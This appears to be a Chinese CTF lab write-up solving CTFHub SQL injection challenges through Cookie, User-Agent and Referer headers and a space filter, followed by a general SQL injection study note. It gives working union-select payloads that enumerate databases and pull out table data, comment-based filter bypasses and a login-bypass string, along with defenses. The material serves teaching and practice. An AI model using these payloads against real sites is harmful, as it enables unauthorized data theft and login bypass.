CTFHub | Cookie注入,UA注入,Refer注入,过滤空格(利用hackbar插件)

Cookie注入

Cookie 注入原理

            Cookie 注入的原理也和其他注入一样,只不过是将提交的参数以 Cookie 方式提交,而一般的注入是使用 GET 或者 POST 方式提交,GET 方式提交就是直接在网址后面加上需要注入的语句,POST 方式则是通过表单,GET 和 POST 的不同之处就在于可以通过 IE 地址栏处看到我们提交的参数,而 Cookie 注入却不能。
 

应用

一般使用cookie注入都是伪造cookie进行注入到数据库中而达到获取未经授权数据文件的目的。

防御

  • 对于从Cookie中提取的数据,始终进行充分的验证和过滤。
  • 使用参数化查询或预编译语句,而不是将用户提供的数据直接拼接到SQL查询中。
  • 最小化数据库用户的权限,确保数据库用户只能执行必要的操作。
  • 定期更新和修补应用程序以解决已知的安全漏洞。

解题

进入环境就得到这个页面

 F12+网络查看cookie,发现想要继续进行就要利用bp抓包进行注入

 

 接着开始注入,方法就是和盲注差不多,都是要进行判断爆破

使用'and 1 = 1'进行测试,判断是否存在sql注入

 

 

 判断出存在sql注入且注入方式为整数型注入

使用order by 判断字段数量,判断出字段数量为2列

 

 知道字段数量为2后,可以查看数据库位置,使用联合注入union select 1,2查看未发现数据

判断数据可能不存在数据库中,在id=1中加入负号查看数据

修改2为version(),查看数据库版本,发现数据库版本为MariaDB 10.3.22

 修改2为database(),查看数据库名,发现数据库版本为sqli

查看全部数据库名

-1 union select 1,group_concat(schema_name)from information_schema.schemata

在全部数据库名中发现sqli,最后在sqli数据库中发现news和xavygzkmdt两个表名

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

 

 先查看xavygzkmdt表中的全部字段名,发现一个数据名为sepimfwspx

-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='xavygzkmdt'

 

查看数据sepimfwspx中的内容,发现此题flag 

-1 union select 1,group_concat(sepimfwspx) from sqli.xavygzkmdt

 ctfhub{6045c2d822a696ba66fa65ed}

UA注入

User Agent 注入概述

            User-Agent 首部包含了一个特征字符串,用来让网络协议的对端来识别发起请求的用户代理软件的应用类型、操作系统、软件开发商以及版本号。一些网站会把用户的 UA 首部信息写入数据库,用来收集和统计用户信息,如果操作不当就有可能会导致 UA 注入。
 

解题

进入环境得到

 要进行UA注入,可以用bp抓包进行注入,也可以使用浏览器插件hackbar进行注入

 先用1 and 1=1来进行判断是否存在sql注入并判断出注入类型

 

存在sql注入且还是整数型注入

使用order by 判断字段数量

 

 从order by 1开始注入到 order by 3没有回显,证明字段数量为2列

知道字段数量为2后,可以查看数据库位置,使用union select 1,2查看未发现数据

判断数据可能不存在数据库中,将1改为-1查看数据

修改2为version(),查看数据库版本,发现数据库版本为MariaDB 10.3.22

修改2为database(),查看数据库名,发现数据库版本为sqli

查看全部数据库名

-1 union select 1,group_concat(schema_name)from information_schema.schemata

在全部数据库名中发现sqli,最后在sqli数据库中发现ycdkqyhwly和news两个表名

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

 先查看ycdkqyhwly表中的全部字段名,发现一个数据名为vfkuxlgmjs

-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='ycdkqyhwly'

 查看数据vfkuxlgmjs中的内容,发现此题flag

-1 union select 1,group_concat(vfkuxlgmjs) from sqli.ycdkqyhwly

ctfhub{0f980060810ed3b9edea3261}

笔记

UA注入原理

    UA注入是一种特定类型的SQL注入攻击,它利用了用户代理(User-Agent,简称UA)字符串中包含的恶意代码来攻击应用程序。UA字符串是浏览器或其他HTTP客户端发送给服务器的一部分信息,其中包括有关客户端操作系统、浏览器版本、设备类型等信息。
    UA注入攻击的原理与常规的SQL注入攻击类似,都是通过注入恶意的SQL语句来攻击应用程序的数据库。但是UA注入攻击的特点是,它不是利用表单字段或URL参数等用户可以直接操作的输入来注入SQL,而是利用UA字符串作为输入。攻击者可以通过修改UA字符串,将恶意的SQL代码插入到应用程序的数据库查询中。

防御

    对于从UA字符串中提取的数据,始终进行充分的验证和过滤。
    确保服务器端的输入验证和过滤逻辑能够正确处理所有的HTTP请求头字段。
    使用参数化查询或预编译语句,而不是将用户提供的数据直接拼接到SQL查询中。
    最小化数据库用户的权限,确保数据库用户只能执行必要的操作。

        SQL 注入点不止会出现在GET 参数或POST 参数中。其中UA注入则是一种特定的SQL注入形式,它利用了应用程序中使用的UA来进行攻击。

联合注入的流程

联合注入的过程

1、判断注入点

2、判断是闭合形式

3、判断查询列数

4、判断显示位

5、获取所有数据库名

6、获取数据库所有表名

7、获取字段名 

8、获取字段中的数据

 Refer注入

Refer注入原理

    Refer注入是一种利用HTTP头字段中的Referer(引荐者)信息来进行攻击的注入技术。Referer字段通常用于告诉服务器请求的来源,即用户是通过哪个页面或链接访问当前页面的。
    Refer注入攻击的原理是通过篡改Referer字段中的值,将恶意的SQL代码插入到应用程序的数据库查询中,从而执行非授权的操作或获取未经授权的数据。攻击者可以通过修改发送给服务器的HTTP请求的Referer字段,将恶意的SQL代码作为Referer值注入进去。

 防御

    对于从Referer字段中提取的数据,始终进行充分的验证和过滤。
    确保服务器端的输入验证和过滤逻辑能够正确处理所有的HTTP请求头字段。
    使用参数化查询或预编译语句,而不是将用户提供的数据直接拼接到SQL查询中。
    最小化数据库用户的权限,确保数据库用户只能执行必要的操作。
    在应用程序中实施访问控制和身份验证,限制用户对敏感数据和操作的访问。
 

 解题

同样的cookie注入,UA注入,Refer注入都可以用浏览器插件hackbar进行注入,也可以用bp抓包更改信息进行注入,伪造cookie,UA,Refer发送请求而达到注入的目的。

进入环境, F12启用hackbar插件

 先用1 and 1=1,判断是否存在sql注入及注入类型

 

 存在sql注入并且注入类型为整数型注入

使用order by 判断字段数量

1 order by 1

 

 

 

 知道字段数量为2后,可以查看数据库位置,使用union select 1,2查看未发现数据

1 union select 1,2

 判断数据可能不存在数据库中,将1改为-1查看数据

-1 union select 1,2

 修改2为version(),查看数据库版本,发现数据库版本为MariaDB 10.3.22

 修改2为database(),查看数据库名,发现数据库版本为sqli

 查看全部数据库名

-1 union select 1,group_concat(schema_name)from information_schema.schemata

在全部数据库名中发现sqli,最后在sqli数据库中发现ajlpvakrna和news两个表名

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

 先查看ajlpvakrna表中的全部字段名,发现一个数据名为hjxducrloy

-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='ajlpvakrna'

 查看数据hjxducrloy中的内容,发现此题flag

-1 union select 1,group_concat(hjxducrloy) from sqli.ajlpvakrna

过滤空格

进入环境先输入1

输入1 and 1=1,会报错

 进行过滤空格

1/**/and/**/1/**/=/**/1

 存在sql注入且注入类型为整数型注入

查询列数

1/**/order/**/by/**/1

到3的时候没有回显

 知道字段数量为2后,可以查看数据库位置,使用union select 1,2查看未发现数据

1/**/union/**/select/**/1,2

  判断数据可能不存在数据库中,将1改为-1查看数据

-1/**/union/**/select/**/1,2

 修改2为version(),查看数据库版本,发现数据库版本为MariaDB 10.3.22

-1/**/union/**/select/**/1,version()

 修改2为database(),查看数据库名,发现数据库版本为sqli

-1/**/union/**/select/**/1,database()

 查看全部数据库名

-1/**/union/**/select/**/1,group_concat(schema_name)from/**/information_schema.schemata

在全部数据库名中发现sqli,最后在sqli数据库中发现htdxjvkudj和news两个表名

-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'

 先查看htdxjvkudj表中的全部字段名,发现一个数据名为vklvjwstxw

-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='sqli'/**/and/**/table_name='htdxjvkudj'

 查看数据vklvjwstxw中的内容,发现此题flag

-1/**/union/**/select/**/1,group_concat(vklvjwstxw)/**/from/**/sqli.htdxjvkudj

 ctfhub{89cb473f4f1e9c294f48fb4a}

SQL注入总结笔记

参考:【超详细版】学习SQL注入看这篇就够了(原理及思路绕过)_sql注入教程_网络安全-李彦暗的博客-CSDN博客

SQL注入原理


1.SQL注入概念及产生原因:

当web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。


2.SQL注入的本质:

把用户输入的数据当作代码来执行,违背了“数据与代码分离”的原则
3.SQL注入的两个关键点:

1,用户能控制输入的内容; 2,web应用把用户输入的内容带入到数据库执行;
SQL注入基础危害:
)盗取网站的敏感信息;
)绕过网站后台认证 后台登录语句: SELECT * FROM admin WHERE Username=‘user’ and Password=‘pass’ 万能密码:‘or ’1‘ = ’1‘ # ;
)借助SQL注入漏洞提权获取系统权限;
)读取文件信息。


MYSQL数据库注入-常用函数:
(1)user() 返回当前使用数据库的用户,也就是网站配置文件中连接数据库的账号 (2)version() 返回当前数据库的版本 (3)database() 返回当前使用的数据库,只有在use命令选择一个数据库之后,才能查到 (4)group_concat() 把数据库中的某列数据或某几列数据合并为一个字符串 (5)@@datadir 数据库路径 (6)@@version_compile_os 操作系统版本


SQL(联合)注入流程:

?id=1 and 1=1


1、判断有无闭合 and 1=1 and 1=2 //结果和第一个一样说明需要闭合,反之无闭合 有闭合则需要用到 --+闭合
2、猜解字段 order by 10 //采用二分法 3、判断数据回显位置 -1 union select 1,2,3,4,5.... //参数等号后面加-表示不显示当前数据 4、获取当前数据库名、用户、版本 union select version(),database(),user(),4...... 4、获取全部数据库名

union select 1,2,(select group\_concat(schema\_name)from information\_schema.schemata)

5、获取表名

union select 1,2,(select group\_concat(table\_name)from information\_schema.tables where table\_schema='库名'

6、获取字段名

union select 1,2,(select group\_concat(column\_name)from information\_schema.columns where table\_name='表名'

7、获取数据 union select 1,2,(select group_concat(字段1,字段2)from 库名.表名
函数名称: 函数功能:

    查 库: select schema\_name from information\_schema.schema
    查 表: select table\_name from information\_schema.tables where table\_schema=库名
    查 列: select column\_name from information\_schema.columns where table\_name=表名
    查数据: select 列名 from 库名.表名

总结--普通SQL注入必备条件:

1、界面能够回显数据库查询到的数据(必要条件);
2、界面回显内容至少能够显示数据库中的某列数据(必要条件);
3、部分能够直接提供数据库报错内容的回显;


SQL注入思路


1.判断注入点

在GET参数、POST参数、Cookie、Referer、XFF、UA等地方尝试插入代码、符号或语句,尝试是否存在数据库参数读取行为,以及能否对其参数产生影响,如产生影响则说明存在注入点。
sql注入点类型

    get注入
    在get传参时写入参数,将SQl语句闭合,后面加写入自己的SQL语句。

    post注入
    通过post传参,原理与get一样,重要的是判断我们所输入的信息是否与数据库产生交互,其次判断SQL语句是如何闭合的。

    有些网站通过查询cookie判断用户是否登录,需要与数据库进行交互,我们可以修改cookie的值,查找我们所需要的东西。或者通过报错注入是网页返回报错信息。

    Referer注入
    Referer正确写法应该是Referrer,因为http规定时写错只能将错就错,有些网站会记录ip和访问路径,例如百度就是通过Referer来统计网站流量,我们将访问路径进行SQL注入,同样也可以得到想要的信息。

    XFF注入
    在用户登录注册模块在 HTTP 头信息添加 X-Forwarded-for: 9.9.9.9' ,用户在注册的时候,如果存在安全隐 患,会出现错误页面或者报错。从而导致注册或者登录用户失败。
    burpsuite 抓包,提交输入检测语句:

    X-Forwarded-for: 127.0.0.1'and 1=1#
    X-Forwarded-for: 127.0.0.1'and 1=2#

两次提交返回不一样,存在 SQL 注入漏洞
 UA注入
输入点在User-Agent


2.判断数据库类型

判断网站使用的是哪个数据库,常见数据库如:
MySQL、MSSQL(即SQLserver)、Oracle、Access、PostgreSQL、db2等等

在实际测试过程中尝试进行SQL注入第一步就是判断数据库类型,因为我们不容易知道对方使用的是什么数据库。
目前来说,企业使用MSSQL即SQLserver的数量最多,MySQL其次,Oracle再次。除此之外的几个常见数据库如 Access、PostgreSQL、db2则要少的多的多。


常用SQL注入判断数据库方法
● 使用数据库特有的函数来判断
● 使用数据库专属符号来判断,如注释符号、多语句查询符等等
● 报错信息判断
● 数据库特性判断


端口扫描

如果可以对主机进行端口扫描,可以根据是否开启对应端口,来大概判断数据库类型。
Oracle
默认端口号:1521
SQL Server
默认端口号:1433
MySQL
默认端口号:3306
PostgreSql
默认端口号:5432


网站类型与数据库的联系

asp:SQL Server,Access
.net :SQL Server
php:Mysql,PostgreSql
java:Oracle,Mysql
根据注释符判断

“#”是MySQL中的注释符,返回错误说明该注入点可能不是MySQL,另外也支持’-- ',和/* */注释(注意mysql使用-- 时需要后面添加空格)

“null”和“%00”是Access支持的注释。

“--”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。

“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/160840.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【自用总结】正项级数审敛法的总结

注:收敛半径的求法就是lim n->∞ |an1/an| ρ,而ρ1/R,最基本的不能忘。 比较判别法:从某项起,该级数后面的项均小于等于另一级数,则敛散性可进行一定的比较 可以看到,比较判别法实际上比较…

解决k8s node节点报错: Failed to watch *v1.Secret: unknown

现象: 这个现象是发生在k8s集群证书过期,重新续签证书以后。 记得master节点的/etc/kubernetes/kubelet.conf文件已经复制到node节点了。 但是为什么还是报这个错,然后运行证书检查命令看一下: 看样子是差/etc/kubernetes/pki/…

【Python/C++ 递归】汉诺塔

汉诺塔(Tower of Hanoi),又称河内塔,是一个源于印度古老传说的益智玩具。大梵天创造世界的时候做了三根金刚石柱子,在一根柱子上从下往上按照大小顺序摞着64片黄金圆盘。大梵天命令婆罗门把圆盘从下面开始按大小顺序重…

腾讯智影数字人工具

腾讯智影数字人工具 腾讯智影数字人的形象风格多样,包括写实、卡通等,可以满足不同年龄层观众的喜好。同时,腾讯智影数字人也提供了灵活的驱动方案,可以通过文本或配音直接生成视频,并支持数字人做出与视频一样的动作…

企业如何实现降本增效——数字化转型

说到企业数字化转型,不可避免要围绕企业降本增效。企业们都在积极寻找降本增效解决之道,以实现降本增效的目标。数字化转型也成为了很多企业降本增效的重要手段。通过引入云计算、大数据、人工智能等技术,企业们实现了业务流程的数字化和智能…

YOLOv8-seg改进:注意力系列篇 | 一种简单有效的可变形的自注意力模块DAT | CVPR 2022

🚀🚀🚀本文改进:Deformable Attention Transformer,一种简单有效的可变形的自注意力模块,增强sparse attention 的表征能⼒; 🚀🚀🚀DAT小目标分割&复杂场景首选,实现涨点 🚀🚀🚀YOLOv8-seg创新专栏:http://t.csdnimg.cn/KLSdv 学姐带你学习YOL…

企业视频数字人有哪些应用场景

来做个数字人吧,帮我干点活吧。 国内的一些数字人: 腾讯智影 腾讯智影数字人是一种基于人工智能技术的数字人物形象,具有逼真的外观、语音和行为表现,可以应用于各种场景,如新闻播报、文娱推介、营销、教育等。 幻…

GMS CTS测试命令汇总

目录 跑CTS之前的准备 样机环境要求 跑各模块版本要求 CTS 简介 复测上轮的失败项 多台设备测试 单跑指定模块和测试用例 GTS VTS STS GSI 获取fingerprint 跑CTS之前的准备 样机环境要求 1、打开stay wake(保持屏幕常亮)、OEM unlocking、…

物联网赋能:WIFI HaLow在无线连接中的优势

在探讨无线网络连接时,我们不难发现,WIFI已经成为我们日常生活中不可或缺的一部分,承载了半数以上的互联网流量,并在家庭、学校、娱乐场所等各种场合广泛应用。然而,尽管WIFI4、WIFI5和WIFI6等协议无处不在&#xff0c…

文心一言-情感关怀之旅

如何让LLM更有温度。 应用介绍

OpenAI 变天:Sam Altman 被踢出局,原 CTO 暂代临时 CEO

文章目录 灵魂人物 Sam Altman 离任 OpenAICEO 下台:OpenAI 也宫斗?个人简介 hello,大家好,我是 Lorin,一觉醒来科技圈发生了一件令人震惊的大事:Sam Altman 被踢出局,原 CTO 暂代临时 CEO。 灵…

基于蛾群算法优化概率神经网络PNN的分类预测 - 附代码

基于蛾群算法优化概率神经网络PNN的分类预测 - 附代码 文章目录 基于蛾群算法优化概率神经网络PNN的分类预测 - 附代码1.PNN网络概述2.变压器故障诊街系统相关背景2.1 模型建立 3.基于蛾群优化的PNN网络5.测试结果6.参考文献7.Matlab代码 摘要:针对PNN神经网络的光滑…

【Mysql】复合查询详解+实战操作(多表查询、自链接、子查询等)

🌈欢迎来到Python专栏 🙋🏾‍♀️作者介绍:前PLA队员 目前是一名普通本科大三的软件工程专业学生 🌏IP坐标:湖北武汉 🍉 目前技术栈:C/C、Linux系统编程、计算机网络、数据结构、Mys…

突发!“ChatGPT 之父”奥特曼被 OpenAI 开除!!乔布斯故事重演了?

重磅消息! OpenAI刚刚官宣领导层换届,SamAltman辞任CEO并离开董事会,原CTO Mira Murati 任命为临时CEO,并正在进行寻找永久继任CE0。 大模型研究测试传送门 GPT-4传送门(免墙,可直接测试,遇浏…

【快速解决】实验三 简单注册的实现《Android程序设计》实验报告

目录 前言 实验要求 实验三 简单注册的实现 实验目的: 实验内容: 实验提示: 无 三、遇到的问题总结(如果有问题,请总结。如果没问题请写“无”) 正文开始 第一步建立项目 第二步选择empty views a…

IDEA 中设置 File Header 以及自定义类、方法注释模板的方法

目录 1 设置 File Header2 自定义类、方法注释生成类注解模板生成方法注解模板 1 设置 File Header File -> Settings -> File and Code Templates -> Includes -> File Header -> 编辑 2 自定义类、方法注释 File -> Settings -> Live Templates -&g…

Reflect的作用,target,property,value,receiver代表啥

1.真的proxy let target {name:张三} let handler {get(target,property,receiver){console.log(1,target,2,property,3,receiver)return Reflect.get(target,property,receiver)},set(target,property,value,receiver){console.log(a,target,b,property,c,value,d,receiver)…

java每日一记 —— 谈谈反射

这应该是基础吧 1.先来说点前置知识:类的加载机制2.以自己的方式来谈反射的概念3.获取class的三种方式3.1.通过已知的类型获取class3.2.通过实例对象获取class3.3.通过Class.forName获取全路径指定类名的class 4.整理了一下API:坦言说🪡累5.现…

利用X6 制作一个简单的流程图工具

介绍 项目模版使用 我自己基于 arco-design 封装的一个 B 端项目模版 。 地址:https://github.com/duKD/antv-x6-org 运用 antv/X6 : https://x6.antv.antgroup.com/ 来实现 一个简单的流程图工具 项目预览: 功能 支持框选 alt鼠标左键…

记一次用jlink调试正常,不进入调试就不能运行的情况

一、概述 我开机会闪烁所有指示灯,但是重新上电时,指示灯并没有闪烁,就像"卡死"了一样。 使用jlink的swd接口进行调试,需要多点几次运行才能跳转到main函数里面。 调试模式第一次点击运行,暂停查看函数堆栈…